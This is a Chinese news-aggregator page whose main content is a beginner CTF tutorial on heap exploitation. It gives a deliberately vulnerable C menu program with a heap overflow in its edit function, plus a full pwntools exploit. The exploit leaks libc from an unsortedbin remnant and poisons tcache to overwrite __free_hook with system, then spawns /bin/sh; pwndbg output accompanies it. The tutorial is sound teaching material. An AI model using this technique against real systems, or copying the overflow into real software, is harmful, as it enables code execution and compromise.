最新要闻
- 个人交340单位交680退休能拿多少?主要看个人缴纳的部分
- 焦点速讯:匹克态极速浪跑鞋99元抄底:门店299元
- 天天热文:女子公园租电动车3个多小时扣466元 运营方:上海价格都是这
- 焦点滚动:别羡慕了!经常不分场合秒睡可能是种病:得看医生
- 全球观速讯丨宁德时代麒麟电池已量产 同体积比特斯拉电池电量高13%
- 世界新消息丨省的都是钱 长安汽车推“百亿补贴”:不到11万可买CS75 PLUS
- 世界速递!三主摄时代来了!OPPO Find X6 Pro大漠银月图赏
- 全球看点:49dB降噪行业第一!OPPO Enco Free3图赏
- 1949元 ROG魔方幻“月曜白”路由器今晚开售:三频万兆速率
- 今热点:微软Bing上线在线绘图功能:文字生成图片 仅支持英文
- 天天快资讯:安全性远超燃油车!特斯拉发布调查报告:是美国平均水平7.4倍
- 当前快播:新农股份: 2022年度业绩快报
- 环球观天下!OPPO Find X6 Pro搭载三星E6屏:亮度高达2500nit、支持Pro XDR显示
- 焦点滚动:用到安卓17没问题!OPPO宣布Find X系列将支持4次大版本更新
- 449元-6999元!OPPO Find X6发布会四大新品一图看懂
- 全球速递!报告:2022年中国每四辆新车就有一辆电动车 比亚迪无敌
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
关于“堆”题的总体思路
浅说一下pwn堆,并用一个简单的例子具体说明,给刚入坑堆的小朋友说的一些思路。
(资料图)
堆是什么
堆,你可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据,那么这块用来存储数据的内存就是堆。
结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。
堆的理解
堆有很多题型 什么堆溢出,off by null , uaf 等。
核心的话主要是学思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有个过程,
比如我们做栈题,很容易知道我要劫持栈的返回去执行任意地址,填入shellcode什么的。
堆的话也是一样。
就是用system
去执行/bin/sh
。越复杂的问题往往只需要很简单的道理。
所以堆到底要怎么去执行。
我们可以把某一个函数的内容改成system,下次调用该函数即是使用system,
再在别的堆里面放入/bin/sh
字符串,然后再用刚刚修改的函数,使用已经放入字符串的堆。
即可执行system(/bin/sh)
了
一般修改__free_hook
,使其内容变成system
然后再free掉放有/bin/sh
的堆
举例说明
我用一个很简单的例子去一步一步简单剖析。
这里我用一个很简单的例子去一步一步简单剖析。
先给出源码和gcc编译,使用的是Ubuntu18
gcc -o lizi lizi.c
#include#includechar *heap[0x20];int num=0;void create(){ if(num>=0x20) { puts("no more"); return; } int size; puts("how big"); scanf("%d",&size); heap[num]=(char *)malloc(size); num++;}void show(){ int idx; char buf[4]; puts("idx"); (read(0, buf, 4)); idx = atoi(buf); if (!heap[idx]) { puts("no have things\n"); } else { printf("Content:"); printf("%s",heap[idx]); }}void dele(){ int idx; char buf[4]; puts("idx"); (read(0, buf, 4)); idx = atoi(buf); if (!heap[idx]) { puts("no have things\n"); } else { free(heap[idx]); heap[idx]=NULL; num--; }}void edit(){ int size; int idx; char buf[4]; puts("idx"); (read(0, buf, 4)); idx = atoi(buf); if (!heap[idx]) { puts("no have things\n"); } else { puts("how big u read"); scanf("%d",&size); puts("Content:"); read(0,heap[idx],size); }}void menu(void){ puts("1.create"); puts("2.dele"); puts("3.edit"); puts("4.show");}void main(){ int choice; while(1) { menu(); scanf("%d",&choice); switch(choice) { case 1:create();break; case 2:dele();break; case 3:edit();break; case 4:show();break; default:puts("error"); } }}
我们也不用ida了,直接源码分析,很明显在edit处能知道我们可以修改堆大小,
而导致的堆溢出修改下一个堆。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
我们可以直接使用unsortedbin,申请较大的堆,再free掉,再申请个小堆,
使其从unsortedbin里面切割堆,这样,你申请的小堆就会有一些unsortedbin里面的东西。
(具体请看unsortedbin介绍)
结合exp介绍:
from pwn import *r=process("./lizi")libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")context.log_level="debug"def add(size): r.sendlineafter("4.show\n","1") r.sendlineafter("idx\n",str(size))def dele(idx): r.sendlineafter("4.show\n","2") r.sendlineafter("idx\n",str(idx))def edit(idx,size,con): r.sendlineafter("4.show\n","3") r.sendlineafter("idx\n",str(idx)) r.sendlineafter("how big u read\n",str(size)) r.sendafter("Content:\n",con)def show(idx): r.sendlineafter("4.show\n","4") r.sendlineafter("idx\n",str(idx))add(0x420)add(0x420)add(0x420)dele(1)add(0x70)show(2)r.recvuntil("Content:")base=u64(r.recv(6)+"\x00"*2)-0x3ec090print(hex(base))free=base+libc.sym["__free_hook"]sys=base+libc.sym["system"]add(0x70)dele(3)edit(2,0x100,"a"*0x70+p64(0xa0)+p64(0xa1)+p64(free))add(0x70)add(0x70)edit(3,0x10,"/bin/sh\x00")edit(4,0x10,p64(sys))dele(3)r.interactive()
首先菜单不用多说,很简单的交互,写好就行
然后申请3个堆,为了保证能进入unsortedbin,得大于tcache的大小,然后free掉1号堆
unsortedbinall: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0
可以看到1号堆已经进入到unsortedbin了
然后申请一个小堆
pwndbg> x/32gx 0x55697b2cfaa00x55697b2cfaa0: 0x0000000000000000 0x00000000000000810x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada60900x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa00x55697b2cfad0: 0x0000000000000000 0x00000000000000000x55697b2cfae0: 0x0000000000000000 0x00000000000000000x55697b2cfaf0: 0x0000000000000000 0x00000000000000000x55697b2cfb00: 0x0000000000000000 0x00000000000000000x55697b2cfb10: 0x0000000000000000 0x00000000000000000x55697b2cfb20: 0x0000000000000000 0x00000000000003b10x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca00x55697b2cfb40: 0x0000000000000000 0x00000000000000000x55697b2cfb50: 0x0000000000000000 0x00000000000000000x55697b2cfb60: 0x0000000000000000 0x00000000000000000x55697b2cfb70: 0x0000000000000000 0x00000000000000000x55697b2cfb80: 0x0000000000000000 0x00000000000000000x55697b2cfb90: 0x0000000000000000 0x0000000000000000
查看申请堆的地址可以发现,11行处是已经之前free掉的1号堆,这个申请的堆会在unsortedbin里面切割
然后会有残留地址,然后我们把他show出来就可以计算一波libc地址了。
算出system
,__free_hook
的libc,
接着为什么要多申请一个堆,这里就是堆溢出的打法了,
在刚刚申请的堆后面再建一个堆,然后通过free掉修改内容指向__free_hook
地址
再把内容改成system
就可以把free当做system用了;
在edit(2,0x100,"a"*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打个断点
GDB看看
pwndbg> bintcachebins0x80 [ 1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ...fastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0smallbinsemptylargebinsempty
会发现tcache里面已经有__free_hook
了,因为已经把内容改成__free_hook
的地址了。
然后申请2个堆,把tcache里面的__free_hook
拿出来。
你也可以验证一下、
pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x55f37bb59000 0x55f37bb5a000 r-xp 1000 0
pwndbg> x/32gx 0x5597ecced000+0x2020400x5597eceef040 : 0x00005597ee8ef680 0x00000000000000000x5597eceef050 : 0x00005597ee8efab0 0x00005597ee8efb300x5597eceef060 : 0x00007f7694f2e8e8 0x00000000000000000x5597eceef070 : 0x0000000000000000 0x0000000000000000
0x202040
是heap的偏移,可以从ida里面找到。
申请出来的堆,__free_hook
在4号堆
pwndbg> x/32gx 0x00007f7694f2e8e80x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x00000000000000000x7f7694f2e8f8 : 0x0000000000000000 0x0000000000000000
成功证明,
然后已知4号堆是__free_hook
了,那么将4号堆的内容改成system
的地址,不就可以了吗
然后再把3号堆写入/bin/sh
然后free(实际上已经变成system)掉3号堆(实际上已经是/bin/sh
)了
成功取得shell
总结
做堆题主要是要有一个总体想法就是要把什么变成system
去执行shell,或者也有别的,比如malloc等。
这里只是一个总体思路,毕竟拿到堆题如果一条总想法都没有的话,就只能干坐着了。
更多靶场实验练习、网安学习资料,请点击这里>>
关键词:
记录--前端加载超大图片(100M以上)实现秒开解决方案
关于“堆”题的总体思路
焦点速讯:地表最强AI,GPT-4专治各种不服
个人交340单位交680退休能拿多少?主要看个人缴纳的部分
焦点速讯:匹克态极速浪跑鞋99元抄底:门店299元
天天热文:女子公园租电动车3个多小时扣466元 运营方:上海价格都是这
焦点滚动:别羡慕了!经常不分场合秒睡可能是种病:得看医生
全球观速讯丨宁德时代麒麟电池已量产 同体积比特斯拉电池电量高13%
世界新消息丨省的都是钱 长安汽车推“百亿补贴”:不到11万可买CS75 PLUS
【Visual Leak Detector】安装 VLD
世界速递!三主摄时代来了!OPPO Find X6 Pro大漠银月图赏
全球看点:49dB降噪行业第一!OPPO Enco Free3图赏
1949元 ROG魔方幻“月曜白”路由器今晚开售:三频万兆速率
今热点:微软Bing上线在线绘图功能:文字生成图片 仅支持英文
天天快资讯:安全性远超燃油车!特斯拉发布调查报告:是美国平均水平7.4倍
环球今头条!DVWA-XSS(Reflected)
环球观焦点:关于基于AWS-Cli的方式对EC2及AMI资源批量添加或者删除tag的方法
每日观点:为什么Tomcat架构要这么设计?这篇文章告诉你答案!
全球微动态丨记录监控摄像头的接入过程及web端播放
全球快资讯丨narak靶机
当前快播:新农股份: 2022年度业绩快报
环球观天下!OPPO Find X6 Pro搭载三星E6屏:亮度高达2500nit、支持Pro XDR显示
焦点滚动:用到安卓17没问题!OPPO宣布Find X系列将支持4次大版本更新
449元-6999元!OPPO Find X6发布会四大新品一图看懂
全球速递!报告:2022年中国每四辆新车就有一辆电动车 比亚迪无敌
全球焦点!为什么不建议用redis做消息队列
世界今亮点!【数位DP】计数问题
前端设计模式——状态模式
每日讯息!关于 Vue 列表渲染 key 绑定 index 的性能问题
每日观察!黄金时间·千海金:避险情绪推升金价 但本周的美联储议息会议依然关键
环球观点:杜绝虚标!哈趣投影率先启用中国CVIA亮度标准:成单片式LCD领头羊
OPPO Find N2系列赢麻了!连续三个月折叠屏销量第一
天天速看:自动洗烘拖布 石头自清洁扫拖机器人P10图赏
道奇纯燃油谢幕之作!挑战者SRT恶魔170发布:V8机械增压马力超千匹
简单讲透Mac环境下多版本python的环境变量设置,仅对小白生效
视点!"error LNK2019: 无法解析的外部符号"原因分析
今头条!IDEA Rebuild项目错误:Information:java: java.lang.AssertionError: Value of x -1
对斗破苍穹进行python文本分析
实时焦点:VsCode 常用好用插件/配置+开发Vue 必装的插件
环球简讯:爵士力克国王将湖人挤出附加赛区 迷失盐湖城小萨准三双数据难掩低迷状态
入睡妙招!研究表明穿袜子睡觉更助眠
全球热消息:AMD Zen4霸气!移动版12核心解锁130W 直追170W桌面12核心
"周杰伦演唱会门票"登顶微博热搜 14万张秒售罄
dnf机械牛和悲鸣图在哪里?DNF机械牛和悲鸣的门票分别是什么?
雨过天晴一键还原怎么用?怎么删除雨过天晴一键还原?
OA对话框打不开是怎么回事?OA对话框怎么变成普通对话框?
今日最新!脚本编写的一个通用框架
天天速讯:编写高质量c#代码的20个建议
面试常考:C#用两个线程交替打印1-100的五种方法
全球新资讯:Paramiko_Linux
【全球独家】跟着字节AB工具DataTester,5步开启一个实验
英雄联盟自动关闭是什么意思?英雄联盟自动关闭怎么解决?
冒险岛的时空裂缝是什么?冒险岛怎么提升面板?
全球热推荐:今天春分白昼长了!全国春日地图出炉 看看春天到哪了
天天热议:汽车界“海底捞服务”!蔚来2023无忧服务发布:11600元/年
世界聚焦:重庆不再实行旧车置换:直接给予新车补贴 总计达3000万
世界报道:跨界做智能手表 比亚迪回应:消息属实 4月上新
对标《原神》!二次元开放世界游戏《鸣潮》开启测试招募
热点!如果设备不支持vulkan,就用swiftshader,否则就加载系统的vulkan的正确姿势(让程序能够智能的在vulkan-1.dll和libvk_s
【全球快播报】springboot使用easyExcel导出Excel表格以及LocalDateTime时间类型转换问题
《前端serverless 面向全栈的无服务器架构实战》读书笔记
每日视点!海关总署:2月下旬以来我国出口用箱量持续增长
国产纯电跑车前途K50美国秽土转生:换了名称、LOGO还没变
全球最新:40万级领先行业两代 赵长江:腾势N7月销量将轻松破万 抢夺BBA用户
【全球速看料】沙县小吃旗舰店包间最低消费300元 网友:吃的完吗?
全球头条:英国小镇被巨型老鼠入侵:像猫一样大 悬崖都要被挖塌了
OpenGL 图像 lookup 色彩调整
天天时讯:剑指 Offer 07. 重建二叉树(java解题)
为什么Redis不直接使用C语言的字符串?看完直接吊打面试官!
天天观天下!广东人睡觉时间全国最晚:“打工人”平均睡眠时长7.5小时
一根USB线就能偷走韩系车!现代、起亚已开始免费送车主方向盘锁
今日关注:再不发力就晚了!新一代奥迪Q5效果图曝光:内外大变革
当前时讯:沙尘暴黄色预警:北方超10省将迎来大范围沙尘天气
环球热点评!昔日巨头彻底退场!爱普生宣布所有相机明年终止官方服务
环球关注:论文解读TCPN
西部证券:3月20日融资买入1459.71万元,融资融券余额12.72亿元
环球速讯:中国罐头在海外多国热销:成为香饽饽
天天讯息:大反转!南京大学团队推翻美室温超导技术 复刻实验没发现超导现象
天天速看:又一致命真菌爆发:已遍布美国一半以上的州
天天微动态丨OPPO Find X6系列外观公布:拼接设计、后摄巨大
比亚迪汉唐冠军版发布会高能金句感受下 合资燃油车瑟瑟发抖
MAUI Blazor 加载本地图片的解决方案
每日热点:朴素系统优化思维的实践
焦点热文:债券通北向通2月成交规模环比增超三成 政金债跃升为最活跃券种
今日热讯:LCD荣光犹在!iQOO Z7开启预售:1599元起
全球观察:漫威后期制作总裁离职
当前通讯!2022年度个税汇算今起不用预约:多退少补你能退多少
移除雷达传感器后 特斯拉车祸数量上升:车主反映莫名刹车故障
快消息!读C#代码整洁之道笔记02_类、对象和数据结构及编写整洁函数
鲁抗医药:3月20日融资买入477.87万元,融资融券余额2.49亿元
全球速读:今年以来险企“补血”超340亿元 数百亿元补充资本“在路上”
世界观点:国际金融市场早知道:3月21日
铁矿石价格“非理性”上涨 监管层频频发声剑指价格炒作
天天最新:春分迎接春天:昼夜时间等长
2TB硬盘开车价400多 SSD便宜到没朋友:5大巨头流泪数钱
每日速递:读Java性能权威指南(第2版)笔记23_ 性能分析工具
焦点速讯:影响人类文明的“小方块” USB接口进化史
当前资讯!快来!我们发现了藏在新风空调里的“秘密”
当前速看:C++温故补缺(一):引用类型
要闻速递:【Visual Leak Detector】简介